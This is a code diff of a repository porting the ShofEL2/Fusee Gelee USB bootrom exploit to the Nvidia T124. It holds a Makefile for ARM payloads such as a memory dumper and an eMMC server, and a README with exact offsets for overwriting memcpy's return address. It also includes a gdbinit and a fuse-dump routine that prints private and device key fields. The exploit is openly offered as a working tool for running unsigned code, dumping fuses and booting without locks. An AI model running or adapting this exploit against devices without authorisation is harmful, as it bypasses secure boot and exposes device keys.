|
||||
|
||||
shofel2_t124$(EXE_EXT): $(OBJ_FILES_x86)
|
||||
$(CC_x86) $(CFLAGS_x86) -o $@ $^ $(LDFLAGS_x86)
|
||||
|
||||
# ------------------------
|
||||
|
||||
|
||||
# --------- ARMv4t Thumb (Payload Compiler) ---------
|
||||
|
||||
TOOLCHAIN_ARM ?= arm-none-eabi-
|
||||
CC_ARM = $(TOOLCHAIN_ARM)gcc
|
||||
AS_ARM = $(TOOLCHAIN_ARM)as
|
||||
OBJCOPY_ARM = $(TOOLCHAIN_ARM)objcopy
|
||||
|
||||
CFLAGS_ARM := -Wall -I include -MMD -march=armv4t -mthumb -Os -ffreestanding \
|
||||
-fno-common -fomit-frame-pointer -nostdlib -fno-builtin-printf \
|
||||
-fno-asynchronous-unwind-tables -fPIE -fno-builtin -fno-exceptions \
|
||||
-Wno-array-bounds -Wno-error \
|
||||
-Wl,--no-dynamic-linker,--build-id=none,-T,payloads/payload.ld
|
||||
|
||||
# shameless copypasta from https://stackoverflow.com/a/2908351/375416
|
||||
C_FILES_ARM := $(wildcard payloads/*.c)
|
||||
OBJ_FILES_ARM := $(addprefix build/obj_arm/,$(notdir $(C_FILES_ARM:.c=.o)))
|
||||
-include $(OBJ_FILES_ARM:.o=.d)
|
||||
|
||||
build/obj_arm/%.o: payloads/%.c
|
||||
@mkdir -p build/obj_arm
|
||||
$(CC_ARM) $(CFLAGS_ARM) -c -o $@ $<
|
||||
|
||||
build/reset_example.elf: build/obj_arm/reset_example.o
|
||||
$(CC_ARM) $(CFLAGS_ARM) -o $@ $^ -lgcc
|
||||
|
||||
build/jtag_example.elf: build/obj_arm/jtag_example.o
|
||||
$(CC_ARM) $(CFLAGS_ARM) -o $@ $^ -lgcc
|
||||
|
||||
build/boot_bct.elf: build/obj_arm/boot_bct.o
|
||||
$(CC_ARM) $(CFLAGS_ARM) -o $@ $^ -lgcc
|
||||
|
||||
build/mem_dumper_usb_server.elf: build/obj_arm/mem_dumper_usb_server.o
|
||||
$(CC_ARM) $(CFLAGS_ARM) -o $@ $^ -lgcc
|
||||
|
||||
build/emmc_server.elf: build/obj_arm/emmc_server.o
|
||||
$(CC_ARM) $(CFLAGS_ARM) -o $@ $^ -lgcc
|
||||
|
||||
build/intermezzo.elf: build/obj_arm/intermezzo.o
|
||||
$(CC_ARM) $(CFLAGS_ARM) -o $@ $^ -lgcc
|
||||
|
||||
%.bin: build/%.elf
|
||||
$(OBJCOPY_ARM) -O binary $< $@
|
||||
|
||||
# --------- Utility Targets ---------
|
||||
|
||||
# Clean host build only (preserves payload .bin files)
|
||||
clean:
|
||||
rm -f $(OBJ_FILES_x86)
|
||||
rm -f shofel2_t124 shofel2_t124.exe
|
||||
|
||||
# Clean ARM build objects (preserves .bin files)
|
||||
clean-arm:
|
||||
rm -f $(OBJ_FILES_ARM) build/*.elf
|
||||
|
||||
# Full clean including all binaries
|
||||
cleanall: clean clean-arm
|
||||
rm -f build/obj_arm/*.d build/obj_x86/*.d
|
||||
rm -f $(BIN_FILES)
|
||||
|
||||
# Build only the host tool (no ARM payloads)
|
||||
host-only: shofel2_t124$(EXE_EXT)
|
||||
|
||||
# Build only the ARM payloads
|
||||
payloads-only: $(BIN_FILES)
|
||||
|
||||
# Show build info
|
||||
info:
|
||||
@echo "Platform: $(PLATFORM)"
|
||||
@echo "Executable: shofel2_t124$(EXE_EXT)"
|
||||
@echo "LIBUSB_CFLAGS: $(LIBUSB_CFLAGS)"
|
||||
@echo "LIBUSB_LIBS: $(LIBUSB_LIBS)"
|
||||
@echo "ARM Toolchain: $(TOOLCHAIN_ARM)"
|
||||
|
||||
.PHONY: all clean cleanall host-only payloads-only info
|
||||
|
||||
63
Shofel/README.md
Normal file
63
Shofel/README.md
Normal file
@@ -0,0 +1,63 @@
|
||||
# ShofEL2 for T124
|
||||
|
||||
This is a Fusee Gelee / ShofEL2 exploit port for the Nvidia T124 (a.k.a Jetson TK1, Shield K1, etc).
|
||||
|
||||
Currently this code allows you to download and execute a payload to the T124, dump the fuses and memory and boot bct without apply the locks.
|
||||
|
||||
Mostly of my code is based on the original ShofEL2 code and Katherine Temkin research, so I cannot take that much credit for this.
|
||||
|
||||
See the original fail0verflow blog post: https://fail0verflow.com/blog/2018/shofel2/
|
||||
See additional info at the original Katherine Temkin github: https://github.com/Qyriad/fusee-launcher/blob/master/report/fusee_gelee.md
|
||||
|
||||
## Obligatory disclaimer
|
||||
|
||||
This code is provided without any warranty, use under your own resposability.
|
||||
|
||||
## Usage
|
||||
|
||||
You need an arm-*-eabi toolkit. You can use [Crosstool-ng](https://crosstool-ng.github.io/download/) compile it.
|
||||
|
||||
Build the loader and payloads:
|
||||
|
||||
$ cd ShofEL2-for-T124
|
||||
$ make
|
||||
|
||||
Usage
|
||||
|
||||
$ ./shofel2_t124 ( MEM_DUMP | READ_FUSES | BOOT_BCT | PAYLOAD ) [options]
|
||||
$ MEM_DUMP address length out_file -> Dumps "length" bytes starting from "address" to "out_file".
|
||||
$ READ_FUSES out_file -> Dumps the T124 fuses to "out_file" and show them in console.
|
||||
$ BOOT_BCT -> Boots BCT without applying locks.
|
||||
$ PAYLOAD payload.bin [arm|thumb] -> Boots "payload.bin" the entrymode mode can be specified (thumb by default)
|
||||
|
||||
|
||||
## Interesting facts (maybe some of them wrong)
|
||||
|
||||
* RCM loads the payload to IRAM at 0x4000E000 (described on tegrarcm source code).
|
||||
* RCM cmd format is sligitly different. RCM cmd header length is 0x284 bytes but the firtst 4 bytes still containing the RCM cmd length.
|
||||
* RCM cmd length restrictions are different to X1 bootrom:
|
||||
* Bulk transfers need to be multiply of 0x1000 to ensure use the whole usb buffer.
|
||||
* RCM cmd length minus 0x284 (header length) must be a multiple of 0x10 (which means RCM CMD length needs to end in 4).
|
||||
* RCM cmd min length is 0x404 bytes. Due to the previous condition the minimun length would be 0x1004.
|
||||
* RCM cmd length cannot exceed avaiable IRAM for the payload (from 0x4000E000 till 0x4003FFFF).
|
||||
* With all this in mind max RCM cmd length is 0x32274 bytes.
|
||||
* Since the exploit uses usb buffer 2, only 0x31000 bytes can be used for the payload in order to avoid finishing the RCM cmd.
|
||||
* A payload can still be loaded using the same path as the one used by the original shofEL2, since no validation is carried out till the whole payload is received.
|
||||
* Even if the specs says that the JTAG is enabled by default, cold bootrom code disasbles it while is runnig (not as dumb as expected :D).
|
||||
* RCM runs on an ARM7TDMI core, I manage to halt the CPU on uboot using a Segger J-LINK.
|
||||
* When the poisoned get status is executed, 0x30C bytes will be copied before the payload. These bytes are part of the execution stack, starting with the USB status var.
|
||||
* Using the original sanity_check function from shofel2, I got from the execution stack that the RCM USB buffers are located at 0x40004000 and 0x40008000.
|
||||
* Two USB buffers of 0x1000 bytes still present. They still alternating on each USB txn. And odd number of USB txn will let you on the hight buffer for the next txn.
|
||||
* Using the original sanity_check function from shofel2, I got from the execution stack that the memcpy return address is located at 0x4000DCD8 (0x4000DCF4 - 0xC - 2 * 4 - 2 * 4).
|
||||
* The position in the RCM cmd where the entry adress need to be write to smash the memcpy return address is calculated as follow:
|
||||
* n_bytes_to_copy = 0x4000DCD8 - 0x40008000 (memcpy_ret_add_loc - usb_buf2_add) -> n_bytes_to_copy = 0x5CD8 bytes
|
||||
* pos_in_payload = n_bytes_to_copy - 0x30C (copied from the execution stack) - 0x4 -> pos_in_payload = 0x59C8
|
||||
* pos_in_rcm_cmd = pos_in_payload + 0x284 (header length) -> pos_in_rcm_cmd = 0x5C4C
|
||||
* I found the following functions on the the bootrom:
|
||||
|
||||
| Function | IROM Address | Description |
|
||||
| ------------- | ------------- | ------------- |
|
||||
| void ep1_in_write_imm(void *buffer, u32 size, u32 *num_xfer) | 0x001065C0 | Writes EP1_IN |
|
||||
| void ep1_out_read_imm(void *buffer, u32 size, u32 *num_xfer) | 0x00106612 | Reads EP1_OUT |
|
||||
| void do_bct_boot() | 0x00100624 | Boots BCT without applying locks. |
|
||||
|
||||
1
Shofel/compile_uboot4jibo.sh
Normal file
1
Shofel/compile_uboot4jibo.sh
Normal file
@@ -0,0 +1 @@
|
||||
make ARCH=arm CROSS_COMPILE=arm-none-eabi-
|
||||
23
Shofel/config/gdbinit
Normal file
23
Shofel/config/gdbinit
Normal file
@@ -0,0 +1,23 @@
|
||||
# J-LINK GDB SERVER initialization
|
||||
#
|
||||
# This connects to a GDB Server listening
|
||||
# for commands on localhost at tcp port 2331
|
||||
target remote localhost:2331
|
||||
# Set JTAG speed to 30 kHz
|
||||
monitor speed 4
|
||||
# Set GDBServer to little endian
|
||||
monitor endian little
|
||||
# Reset the chip to get to a known state.
|
||||
monitor reset
|
||||
#
|
||||
# CPU core initialization (to be done by user)
|
||||
#
|
||||
# Set the processor mode (Enables THUMB)
|
||||
monitor reg cpsr = 0xf3
|
||||
# Set auto JTAG speed
|
||||
monitor speed auto
|
||||
# Setup GDB FOR FASTER DOWNLOADS
|
||||
set remote memory-write-packet-size 1024
|
||||
set remote memory-write-packet-size fixed
|
||||
# Load the program executable called "reset_example.elf"
|
||||
load reset_example.elf
|
||||
138
Shofel/exploit/fuse.c
Normal file
138
Shofel/exploit/fuse.c
Normal file
@@ -0,0 +1,138 @@
|
||||
|
||||
// Copy paste from https://github.com/moriczgergo/moonflower/blob/933ab9ef66b76aa49ad2c29ca88d78173a81eff2/src/fuse.h
|
||||
|
||||
#include "fuse.h"
|
||||
|
||||
void print_fuses( fuse_chip_registers_t *fuse_chip_registers ) {
|
||||
// don't worry, i didn't type these in by hand.
|
||||
printf( "FUSE_PRODUCTION_MODE: %08x\n", fuse_chip_registers->FUSE_PRODUCTION_MODE );
|
||||
printf( "FUSE_JTAG_SECUREID_VALID: %08x\n", fuse_chip_registers->FUSE_JTAG_SECUREID_VALID );
|
||||
printf( "FUSE_ODM_LOCK: %08x\n", fuse_chip_registers->FUSE_ODM_LOCK );
|
||||
printf( "FUSE_OPT_OPENGL_EN: %08x\n", fuse_chip_registers->FUSE_OPT_OPENGL_EN );
|
||||
printf( "FUSE_SKU_INFO: %08x\n", fuse_chip_registers->FUSE_SKU_INFO );
|
||||
printf( "FUSE_CPU_SPEEDO_0_CALIB: %08x\n", fuse_chip_registers->FUSE_CPU_SPEEDO_0_CALIB );
|
||||
printf( "FUSE_CPU_IDDQ_CALIB: %08x\n", fuse_chip_registers->FUSE_CPU_IDDQ_CALIB );
|
||||
printf( "RESERVED_0x01C: %08x\n", fuse_chip_registers->RESERVED_0x01C );
|
||||
printf( "RESERVED_0x020: %08x\n", fuse_chip_registers->RESERVED_0x020 );
|
||||
printf( "RESERVED_0x024: %08x\n", fuse_chip_registers->RESERVED_0x024 );
|
||||
printf( "FUSE_OPT_FT_REV: %08x\n", fuse_chip_registers->FUSE_OPT_FT_REV );
|
||||
printf( "FUSE_CPU_SPEEDO_1_CALIB: %08x\n", fuse_chip_registers->FUSE_CPU_SPEEDO_1_CALIB );
|
||||
printf( "FUSE_CPU_SPEEDO_2_CALIB: %08x\n", fuse_chip_registers->FUSE_CPU_SPEEDO_2_CALIB );
|
||||
printf( "FUSE_SOC_SPEEDO_0_CALIB: %08x\n", fuse_chip_registers->FUSE_SOC_SPEEDO_0_CALIB );
|
||||
printf( "FUSE_SOC_SPEEDO_1_CALIB: %08x\n", fuse_chip_registers->FUSE_SOC_SPEEDO_1_CALIB );
|
||||
printf( "FUSE_SOC_SPEEDO_2_CALIB: %08x\n", fuse_chip_registers->FUSE_SOC_SPEEDO_2_CALIB );
|
||||
printf( "FUSE_SOC_IDDQ_CALIB: %08x\n", fuse_chip_registers->FUSE_SOC_IDDQ_CALIB );
|
||||
printf( "RESERVED_0x044: %08x\n", fuse_chip_registers->RESERVED_0x044 );
|
||||
printf( "FUSE_FA: %08x\n", fuse_chip_registers->FUSE_FA );
|
||||
printf( "FUSE_RESERVED_PRODUCTION: %08x\n", fuse_chip_registers->FUSE_RESERVED_PRODUCTION );
|
||||
printf( "FUSE_HDMI_LANE0_CALIB: %08x\n", fuse_chip_registers->FUSE_HDMI_LANE0_CALIB );
|
||||
printf( "FUSE_HDMI_LANE1_CALIB: %08x\n", fuse_chip_registers->FUSE_HDMI_LANE1_CALIB );
|
||||
printf( "FUSE_HDMI_LANE2_CALIB: %08x\n", fuse_chip_registers->FUSE_HDMI_LANE2_CALIB );
|
||||
printf( "FUSE_HDMI_LANE3_CALIB: %08x\n", fuse_chip_registers->FUSE_HDMI_LANE3_CALIB );
|
||||
printf( "FUSE_ENCRYPTION_RATE: %08x\n", fuse_chip_registers->FUSE_ENCRYPTION_RATE );
|
||||
printf( "FUSE_PUBLIC_KEY 0-3: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_PUBLIC_KEY[0], fuse_chip_registers->FUSE_PUBLIC_KEY[1], fuse_chip_registers->FUSE_PUBLIC_KEY[2], fuse_chip_registers->FUSE_PUBLIC_KEY[3] );
|
||||
printf( "FUSE_PUBLIC_KEY 4-7: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_PUBLIC_KEY[4], fuse_chip_registers->FUSE_PUBLIC_KEY[5], fuse_chip_registers->FUSE_PUBLIC_KEY[6], fuse_chip_registers->FUSE_PUBLIC_KEY[7] );
|
||||
printf( "FUSE_TSENSOR1_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR1_CALIB );
|
||||
printf( "FUSE_TSENSOR2_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR2_CALIB );
|
||||
printf( "RESERVED_0x08C: %08x\n", fuse_chip_registers->RESERVED_0x08C );
|
||||
printf( "FUSE_OPT_CP_REV: %08x\n", fuse_chip_registers->FUSE_OPT_CP_REV );
|
||||
printf( "FUSE_OPT_PFG: %08x\n", fuse_chip_registers->FUSE_OPT_PFG );
|
||||
printf( "FUSE_TSENSOR0_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR0_CALIB );
|
||||
printf( "FUSE_BOOTROM_PATCH_SIZE: %08x\n", fuse_chip_registers->FUSE_BOOTROM_PATCH_SIZE );
|
||||
printf( "FUSE_SECURITY_MODE: %08x\n", fuse_chip_registers->FUSE_SECURITY_MODE );
|
||||
printf( "FUSE_PRIVATE_KEY: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_PRIVATE_KEY[0], fuse_chip_registers->FUSE_PRIVATE_KEY[1], fuse_chip_registers->FUSE_PRIVATE_KEY[2], fuse_chip_registers->FUSE_PRIVATE_KEY[3] );
|
||||
printf( "FUSE_DEVICE_KEY: %08x\n", fuse_chip_registers->FUSE_DEVICE_KEY );
|
||||
printf( "FUSE_ARM_DEBUG_DIS: %08x\n", fuse_chip_registers->FUSE_ARM_DEBUG_DIS );
|
||||
printf( "FUSE_BOOT_DEVICE_INFO: %08x\n", fuse_chip_registers->FUSE_BOOT_DEVICE_INFO );
|
||||
printf( "FUSE_RESERVED_SW: %08x\n", fuse_chip_registers->FUSE_RESERVED_SW );
|
||||
printf( "FUSE_VP8_ENABLE: %08x\n", fuse_chip_registers->FUSE_VP8_ENABLE );
|
||||
printf( "FUSE_RESERVED_ODM 0-3: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_RESERVED_ODM[0], fuse_chip_registers->FUSE_RESERVED_ODM[1], fuse_chip_registers->FUSE_RESERVED_ODM[2], fuse_chip_registers->FUSE_RESERVED_ODM[3] );
|
||||
printf( "FUSE_RESERVED_ODM 4-7: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_RESERVED_ODM[4], fuse_chip_registers->FUSE_RESERVED_ODM[5], fuse_chip_registers->FUSE_RESERVED_ODM[6], fuse_chip_registers->FUSE_RESERVED_ODM[7] );
|
||||
printf( "FUSE_OBS_DIS: %08x\n", fuse_chip_registers->FUSE_OBS_DIS );
|
||||
printf( "RESERVED_0x0EC: %08x\n", fuse_chip_registers->RESERVED_0x0EC );
|
||||
printf( "FUSE_USB_CALIB: %08x\n", fuse_chip_registers->FUSE_USB_CALIB );
|
||||
printf( "FUSE_SKU_DIRECT_CONFIG: %08x\n", fuse_chip_registers->FUSE_SKU_DIRECT_CONFIG );
|
||||
printf( "FUSE_KFUSE_PRIVKEY_CTRL: %08x\n", fuse_chip_registers->FUSE_KFUSE_PRIVKEY_CTRL );
|
||||
printf( "FUSE_PACKAGE_INFO: %08x\n", fuse_chip_registers->FUSE_PACKAGE_INFO );
|
||||
printf( "FUSE_OPT_VENDOR_CODE: %08x\n", fuse_chip_registers->FUSE_OPT_VENDOR_CODE );
|
||||
printf( "FUSE_OPT_FAB_CODE: %08x\n", fuse_chip_registers->FUSE_OPT_FAB_CODE );
|
||||
printf( "FUSE_OPT_LOT_CODE_0: %08x\n", fuse_chip_registers->FUSE_OPT_LOT_CODE_0 );
|
||||
printf( "FUSE_OPT_LOT_CODE_1: %08x\n", fuse_chip_registers->FUSE_OPT_LOT_CODE_1 );
|
||||
printf( "FUSE_OPT_WAFER_ID: %08x\n", fuse_chip_registers->FUSE_OPT_WAFER_ID );
|
||||
printf( "FUSE_OPT_X_COORDINATE: %08x\n", fuse_chip_registers->FUSE_OPT_X_COORDINATE );
|
||||
printf( "FUSE_OPT_Y_COORDINATE: %08x\n", fuse_chip_registers->FUSE_OPT_Y_COORDINATE );
|
||||
printf( "FUSE_OPT_SEC_DEBUG_EN: %08x\n", fuse_chip_registers->FUSE_OPT_SEC_DEBUG_EN );
|
||||
printf( "FUSE_OPT_OPS_RESERVED: %08x\n", fuse_chip_registers->FUSE_OPT_OPS_RESERVED );
|
||||
printf( "FUSE_SATA_CALIB: %08x\n", fuse_chip_registers->FUSE_SATA_CALIB );
|
||||
printf( "FUSE_GPU_IDDQ_CALIB: %08x\n", fuse_chip_registers->FUSE_GPU_IDDQ_CALIB );
|
||||
printf( "FUSE_TSENSOR3_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR3_CALIB );
|
||||
printf( "FUSE_SKU_BOND_OUT_L: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_L );
|
||||
printf( "FUSE_SKU_BOND_OUT_H: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_H );
|
||||
printf( "FUSE_SKU_BOND_OUT_U: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_U );
|
||||
printf( "FUSE_SKU_BOND_OUT_V: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_V );
|
||||
printf( "FUSE_SKU_BOND_OUT_W: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_W );
|
||||
printf( "RESERVED_0x144: %08x\n", fuse_chip_registers->RESERVED_0x144 );
|
||||
printf( "FUSE_OPT_SUBREVISION: %08x\n", fuse_chip_registers->FUSE_OPT_SUBREVISION );
|
||||
printf( "FUSE_OPT_SW_RESERVED_0: %08x\n", fuse_chip_registers->FUSE_OPT_SW_RESERVED_0 );
|
||||
printf( "FUSE_OPT_SW_RESERVED_1: %08x\n", fuse_chip_registers->FUSE_OPT_SW_RESERVED_1 );
|
||||
printf( "FUSE_TSENSOR4_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR4_CALIB );
|
||||
printf( "FUSE_TSENSOR5_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR5_CALIB );
|
||||
printf( "FUSE_TSENSOR6_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR6_CALIB );
|
||||
printf( "FUSE_TSENSOR7_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR7_CALIB );
|
||||
printf( "FUSE_OPT_PRIV_SEC_EN: %08x\n", fuse_chip_registers->FUSE_OPT_PRIV_SEC_EN );
|
||||
printf( "FUSE_PKC_DISABLE: %08x\n", fuse_chip_registers->FUSE_PKC_DISABLE );
|
||||
printf( "RESERVED_0x16C: %08x\n", fuse_chip_registers->RESERVED_0x16C );
|
||||
printf( "RESERVED_0x170: %08x\n", fuse_chip_registers->RESERVED_0x170 );
|
||||
printf( "RESERVED_0x174: %08x\n", fuse_chip_registers->RESERVED_0x174 );
|
||||
printf( "RESERVED_0x178: %08x\n", fuse_chip_registers->RESERVED_0x178 );
|
||||
printf( "FUSE_FUSE2TSEC_DEBUG_DISABLE: %08x\n", fuse_chip_registers->FUSE_FUSE2TSEC_DEBUG_DISABLE );
|
||||
printf( "FUSE_TSENSOR8_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR8_CALIB );
|
||||
printf( "FUSE_OPT_CP_BIN: %08x\n", fuse_chip_registers->FUSE_OPT_CP_BIN );
|
||||
printf( "FUSE_OPT_GPU_FS: %08x\n", fuse_chip_registers->FUSE_OPT_GPU_FS );
|
||||
printf( "FUSE_OPT_FT_BIN: %08x\n", fuse_chip_registers->FUSE_OPT_FT_BIN );
|
||||
printf( "RESERVED_0x190: %08x\n", fuse_chip_registers->RESERVED_0x190 );
|
||||
printf( "FUSE_SKU_BOND_OUT_X: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_X );
|
||||
printf( "FUSE_APB2JTAG_DISABLE: %08x\n", fuse_chip_registers->FUSE_APB2JTAG_DISABLE );
|
||||
printf( "RESERVED_0x19C: %08x\n", fuse_chip_registers->RESERVED_0x19C );
|
||||
printf( "FUSE_PHY_FLOORSWEEP: %08x\n", fuse_chip_registers->FUSE_PHY_FLOORSWEEP );
|
||||
printf( "FUSE_PHY_FLOOR_ENABLE: %08x\n", fuse_chip_registers->FUSE_PHY_FLOOR_ENABLE );
|
||||
printf( "FUSE_ARM_CRYPT_DE_FEATURE: %08x\n", fuse_chip_registers->FUSE_ARM_CRYPT_DE_FEATURE );
|
||||
printf( "FUSE_DENVER_MTS_DE_FEATURE: %08x\n", fuse_chip_registers->FUSE_DENVER_MTS_DE_FEATURE );
|
||||
printf( "FUSE_DIE_VERSION_OVERRIDE: %08x\n", fuse_chip_registers->FUSE_DIE_VERSION_OVERRIDE );
|
||||
printf( "FUSE_TRIMMERS: %08x\n", fuse_chip_registers->FUSE_TRIMMERS );
|
||||
printf( "FUSE_DENVER_BOOT_SEC: %08x\n", fuse_chip_registers->FUSE_DENVER_BOOT_SEC );
|
||||
printf( "FUSE_DENVER_DFD_ACCESS: %08x\n", fuse_chip_registers->FUSE_DENVER_DFD_ACCESS );
|
||||
printf( "FUSE_WOA_SKU_FLAG: %08x\n", fuse_chip_registers->FUSE_WOA_SKU_FLAG );
|
||||
printf( "FUSE_ECO_RESERVE_1: %08x\n", fuse_chip_registers->FUSE_ECO_RESERVE_1 );
|
||||
printf( "FUSE_GCPLEX_CONFIG_FUSE: %08x\n", fuse_chip_registers->FUSE_GCPLEX_CONFIG_FUSE );
|
||||
printf( "RESERVED_0x1CC: %08x\n", fuse_chip_registers->RESERVED_0x1CC );
|
||||
printf( "RESERVED_0x1D0: %08x\n", fuse_chip_registers->RESERVED_0x1D0 );
|
||||
printf( "RESERVED_0x1D4: %08x\n", fuse_chip_registers->RESERVED_0x1D4 );
|
||||
printf( "RESERVED_0x1D8: %08x\n", fuse_chip_registers->RESERVED_0x1D8 );
|
||||
printf( "RESERVED_0x1DC: %08x\n", fuse_chip_registers->RESERVED_0x1DC );
|
||||
printf( "RESERVED_0x1E0: %08x\n", fuse_chip_registers->RESERVED_0x1E0 );
|
||||
printf( "RESERVED_0x1E4: %08x\n", fuse_chip_registers->RESERVED_0x1E4 );
|
||||
printf( "RESERVED_0x1E8: %08x\n", fuse_chip_registers->RESERVED_0x1E8 );
|
||||
printf( "RESERVED_0x1EC: %08x\n", fuse_chip_registers->RESERVED_0x1EC );
|
||||
printf( "RESERVED_0x1F0: %08x\n", fuse_chip_registers->RESERVED_0x1F0 );
|
||||
printf( "RESERVED_0x1F4: %08x\n", fuse_chip_registers->RESERVED_0x1F4 );
|
||||
printf( "RESERVED_0x1F8: %08x\n", fuse_chip_registers->RESERVED_0x1F8 );
|
||||
printf( "FUSE_SPARE_REALIGNMENT_REG: %08x\n", fuse_chip_registers->FUSE_SPARE_REALIGNMENT_REG );
|
||||
printf( "FUSE_SPARE_BITS 00-03: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[ 0], fuse_chip_registers->FUSE_SPARE_BITS[ 1], fuse_chip_registers->FUSE_SPARE_BITS[ 2], fuse_chip_registers->FUSE_SPARE_BITS[ 3] );
|
||||
printf( "FUSE_SPARE_BITS 04-07: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[ 4], fuse_chip_registers->FUSE_SPARE_BITS[ 5], fuse_chip_registers->FUSE_SPARE_BITS[ 6], fuse_chip_registers->FUSE_SPARE_BITS[ 7] );
|
||||
printf( "FUSE_SPARE_BITS 08-11: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[ 8], fuse_chip_registers->FUSE_SPARE_BITS[ 9], fuse_chip_registers->FUSE_SPARE_BITS[10], fuse_chip_registers->FUSE_SPARE_BITS[11] );
|
||||
printf( "FUSE_SPARE_BITS 12-15: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[12], fuse_chip_registers->FUSE_SPARE_BITS[13], fuse_chip_registers->FUSE_SPARE_BITS[14], fuse_chip_registers->FUSE_SPARE_BITS[15] );
|
||||
printf( "FUSE_SPARE_BITS 16-19: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[16], fuse_chip_registers->FUSE_SPARE_BITS[17], fuse_chip_registers->FUSE_SPARE_BITS[18], fuse_chip_registers->FUSE_SPARE_BITS[19] );
|
||||
printf( "FUSE_SPARE_BITS 20-23: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[20], fuse_chip_registers->FUSE_SPARE_BITS[21], fuse_chip_registers->FUSE_SPARE_BITS[22], fuse_chip_registers->FUSE_SPARE_BITS[23] );
|
||||
printf( "FUSE_SPARE_BITS 24-27: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[24], fuse_chip_registers->FUSE_SPARE_BITS[25], fuse_chip_registers->FUSE_SPARE_BITS[26], fuse_chip_registers->FUSE_SPARE_BITS[27] );
|
||||
printf( "FUSE_SPARE_BITS 28-31: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[28], fuse_chip_registers->FUSE_SPARE_BITS[29], fuse_chip_registers->FUSE_SPARE_BITS[30], fuse_chip_registers->FUSE_SPARE_BITS[31] );
|
||||
printf( "FUSE_SPARE_BITS 32-35: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[32], fuse_chip_registers->FUSE_SPARE_BITS[33], fuse_chip_registers->FUSE_SPARE_BITS[34], fuse_chip_registers->FUSE_SPARE_BITS[35] );
|
||||
printf( "FUSE_SPARE_BITS 36-39: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[36], fuse_chip_registers->FUSE_SPARE_BITS[37], fuse_chip_registers->FUSE_SPARE_BITS[38], fuse_chip_registers->FUSE_SPARE_BITS[39] );
|
||||
printf( "FUSE_SPARE_BITS 40-43: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[40], fuse_chip_registers->FUSE_SPARE_BITS[41], fuse_chip_registers->FUSE_SPARE_BITS[42], fuse_chip_registers->FUSE_SPARE_BITS[43] );
|
||||
printf( "FUSE_SPARE_BITS 44-47: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[44], fuse_chip_registers->FUSE_SPARE_BITS[45], fuse_chip_registers->FUSE_SPARE_BITS[46], fuse_chip_registers->FUSE_SPARE_BITS[47] );
|
||||
printf( "FUSE_SPARE_BITS 48-51: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[48], fuse_chip_registers->FUSE_SPARE_BITS[49], fuse_chip_registers->FUSE_SPARE_BITS[50], fuse_chip_registers->FUSE_SPARE_BITS[51] );
|
||||
printf( "FUSE_SPARE_BITS 52-55: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[52], fuse_chip_registers->FUSE_SPARE_BITS[53], fuse_chip_registers->FUSE_SPARE_BITS[54], fuse_chip_registers->FUSE_SPARE_BITS[55] );
|
||||
printf( "FUSE_SPARE_BITS 56-59: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[56], fuse_chip_registers->FUSE_SPARE_BITS[57], fuse_chip_registers->FUSE_SPARE_BITS[58], fuse_chip_registers->FUSE_SPARE_BITS[59] );
|
||||
printf( "FUSE_SPARE_BITS 60-63: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[60], fuse_chip_registers->FUSE_SPARE_BITS[61], fuse_chip_registers->FUSE_SPARE_BITS[62], fuse_chip_registers->FUSE_SPARE_BITS[63] );
|
||||
}
|
||||
|
||||
173
Shofel/exploit/mini_libusb.c
Normal file
173
Shofel/exploit/mini_libusb.c
Normal file
@@ -0,0 +1,173 @@
|
||||
#include "mini_libusb.h"
|
||||
|
||||
#define SYSFS_MOUNT_PATH "/sys"
|
||||
#define SYSFS_DEVICE_PATH SYSFS_MOUNT_PATH "/bus/usb/devices"
|
||||
|
||||
struct setup_data {
|
||||
uint8_t bRequestType;
|
||||
uint8_t bRequest;
|
||||
uint16_t wValue;
|
||||
uint16_t wIndex;
|
||||
uint16_t wLength;
|
||||
uint8_t data[];
|
||||
};
|
||||
|
||||
int usb_get_att(uint16_t *val, char *d_name, char *attr, int base) {
|
||||
|
||||
int ret = -1;
|
||||
char filepath[256];
|
||||
char attr_buf[20];
|
||||
int attr_fd;
|
||||
|
||||
snprintf(filepath, sizeof(filepath), SYSFS_DEVICE_PATH "/%s/%s", d_name, attr);
|
||||
attr_fd = open(filepath, O_RDONLY);
|
||||
if (attr_fd < 0) {
|
||||
DEBUG_MSG( "Usb %s: %s attribute not found.\n", d_name, attr );
|
||||
goto exit;
|
||||
}
|
